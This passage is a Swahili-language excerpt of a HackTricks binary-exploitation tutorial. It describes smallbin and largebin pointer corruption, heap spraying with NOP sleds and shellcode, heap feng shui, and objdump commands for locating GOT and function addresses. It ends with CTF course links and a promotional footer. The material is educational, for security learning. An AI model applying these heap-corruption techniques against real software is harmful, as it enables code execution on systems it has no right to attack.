Lengo ni kwamba, ikiwa tunaweza kufanya kujaza kwa heap ambayo chini yake kuna kipande kilichofunguliwa na kwenye bin yake, tunaweza kubadilisha pointer yake bk. Ikiwa tunabadilisha pointer yake bk na kipande hicho kinakuwa cha kwanza kwenye orodha ya bin na kusajiliwa, bin atadanganywa na kuelezwa kwamba kipande cha mwisho cha orodha (kinachofuata kutoa) kiko kwenye anwani ya uwongo tuliyoweka (kwa mfano stack au GOT). Kwa hivyo, ikiwa kipande kingine kitasajiliwa na mkaidi ana ruhusa juu yake, atapewa kipande kwenye eneo lililotaka na anaweza kuandika humo.
|
|||
|
|
|||
|
Baada ya kufungua kipande kilichobadilishwa, ni muhimu kusajili kipande kikubwa kuliko kilichofunguliwa, hivyo kipande kilichobadilishwa kitatoka kwenye bins zisizopangwa na kuingizwa kwenye bin yake.
|
|||
|
|
|||
|
Marafiki kwenye bin wanapaswa kusubiri hadi malloc() iitwe mara kutosha ili kutumia tena bin iliyobadilishwa na kuwadanganya bin kuamini kwamba kipande kinachofuata kiko kwenye anwani ya uwongo. Kisha kipande kinachotakiwa kitapewa.
|
|||
|
|
|||
|
Ili kutekeleza udhaifu haraka iwezekanavyo, ni bora: Kusajili kipande cha udhaifu, kusajili kipande kitakachobadilishwa, kufungua kipande hiki, kusajili kipande kikubwa kuliko kitakachobadilishwa, kubadilisha kipande (udhaifu), kusajili kipande cha ukubwa sawa na kilichovunjwa na kusajili kipande cha pili cha ukubwa sawa na hicho na hicho kitaelekezwa kwenye anwani iliyochaguliwa.
|
|||
|
|
|||
|
Ili kulinda dhidi ya shambulio hili, uthibitisho wa kawaida kwamba kipande "si" ni uwongo hutumiwa: inathibitishwa ikiwa bck->fd inaelekeza kwa mwathirika. Yaani, katika kesi yetu ikiwa pointer wa fd\* wa kipande cha uwongo kilichoelekezwa kwenye stack unaelekeza kwa mwathirika. Ili kuvuka ulinzi huu, mkaidi lazima aweze kuandika kwa njia fulani (kwa stack labda) kwenye anwani sahihi anwani ya mwathirika. Ili ionekane kama kipande cha kweli.
|
|||
|
|
|||
|
**Uharibifu wa LargeBin**
|
|||
|
|
|||
|
Mahitaji ni sawa na hapo awali na mengine zaidi, pia vipande vilivyosajiliwa vinapaswa kuwa zaidi ya 512.
|
|||
|
|
|||
|
Shambulio ni kama lile la awali, yaani, kubadilisha pointer bk na wito wote huo wa malloc(), lakini pia ni lazima kubadilisha ukubwa wa kipande kilichobadilishwa ili ukubwa huo - nb uwe < MINSIZE.
|
|||
|
|
|||
|
Kwa mfano, kuweka ukubwa kuwa 1552 ili 1552 - 1544 = 8 < MINSIZE (kutoa hakuna inaweza kuwa hasi kwa sababu inalinganishwa na unsigned)
|
|||
|
|
|||
|
Pia, kuna kipande cha kurekebisha kufanya iwe ngumu zaidi.
|
|||
|
|
|||
|
**Spraying ya Heap**
|
|||
|
|
|||
|
Kimsingi inahusisha kusajili kumbukumbu yote inayowezekana kwa heaps na kuzijaza na safu ya nops zilizomalizika na shellcode. Kama safu, 0x0c hutumiwa. Kwa hivyo, jaribio litakuwa kusonga kwa anwani 0x0c0c0c0c, na hivyo ikiwa anwani yoyote itasajiliwa na safu hii itaruka hapo. Kimsingi mkakati ni kusajili kiasi kikubwa iwezekanavyo kuona ikiwa pointer yoyote itasajiliwa na kuruka kwa 0x0c0c0c0c na kutumaini kwamba kuna nops huko.
|
|||
|
|
|||
|
**Feng Shui ya Heap**
|
|||
|
|
|||
|
Inahusisha kusajili na kufuta kumbukumbu kwa njia ambayo inaacha vipande vilivyosajiliwa kati ya vipande vilivyofunguliwa. Buffer ya kujaza itawekwa kwenye moja ya vipande hivi.
|
|||
|
|
|||
|
**objdump -d executable** —> Disas functions\
|
|||
|
**objdump -d ./PROGRAMA | grep FUNCTION** —> Get function address\
|
|||
|
**objdump -d -Mintel ./shellcodeout** —> Kuona kama ni shellcode yetu na kutoa OpCodes\
|
|||
|
**objdump -t ./exec | grep varBss** —> Jedwali la alama, ili kupata anwani ya variables na functions\
|
|||
|
**objdump -TR ./exec | grep exit(func lib)** —> Kupata anwani ya functions kutoka kwa maktaba (GOT)\
|
|||
|
**objdump -d ./exec | grep funcCode**\
|
|||
|
**objdump -s -j .dtors /exec**\
|
|||
|
**objdump -s -j .got ./exec**\
|
|||
|
**objdump -t --dynamic-relo ./exec | grep puts** —> Inatoa anwani ya puts ya kusahihisha kwenye GOT\
|
|||
|
**objdump -D ./exec** —> Disas ALL hadi kuingia kwa plt\
|
|||
|
**objdump -p -/exec**\
|
|||
|
**Info functions strncmp —>** Maelezo ya function katika gdb
|
|||
|
|
|||
|
## Kozi za Kuvutia
|
|||
|
|
|||
|
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
|||
|
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
|||
|
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
|||
|
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
|||
|
* [https://pwnable.tw/](https://pwnable.tw/)
|
|||
|
* [https://ctf.hackucf.org/](https://ctf.hackucf.org/)
|
|||
|
|
|||
|
## **Vyanzo**
|
|||
|
|
|||
|
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
|||
|
|
|||
|
<details>
|
|||
|
|
|||
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|||
|
|
|||
|
Njia nyingine za kusaidia HackTricks:
|
|||
|
|
|||
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
|||
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
|||
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
|||
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|||
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
|||
|
|
|||
|
</details>
|